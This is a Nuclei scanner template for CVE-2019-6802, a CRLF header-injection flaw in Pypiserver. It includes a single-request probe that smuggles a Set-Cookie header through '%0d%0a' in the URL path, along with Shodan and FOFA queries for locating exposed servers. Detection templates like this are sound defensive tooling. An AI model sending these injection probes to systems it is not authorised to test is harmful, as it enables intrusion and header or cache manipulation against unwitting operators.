id: CVE-2019-6802

info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  impact: |
    Attackers can inject arbitrary HTTP headers through CRLF injection, potentially conducting cross-site scripting attacks or cache poisoning.
  remediation: |
    Upgrade to Pypiserver version 1.2.5 or later.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-74
    epss-score: 0.0129
    epss-percentile: 0.79915
    cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: python
    product: pypiserver
    shodan-query:
      - html:"pypiserver"
      - http.html:"pypiserver"
    fofa-query: body="pypiserver"
  tags: cve,cve2019,crlf,pypiserver,python,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"
# digest: 4a0a0047304502203745e2069586d37da931ec6dffaaf3b36bc8b004b0bfca2ad462bbf34cb6bc65022100d267c5f8715742f110b02326aa26564f3065cddf429a7ece97c9721f32cdd8b1:922c64590222798bb761d5b6d8e72950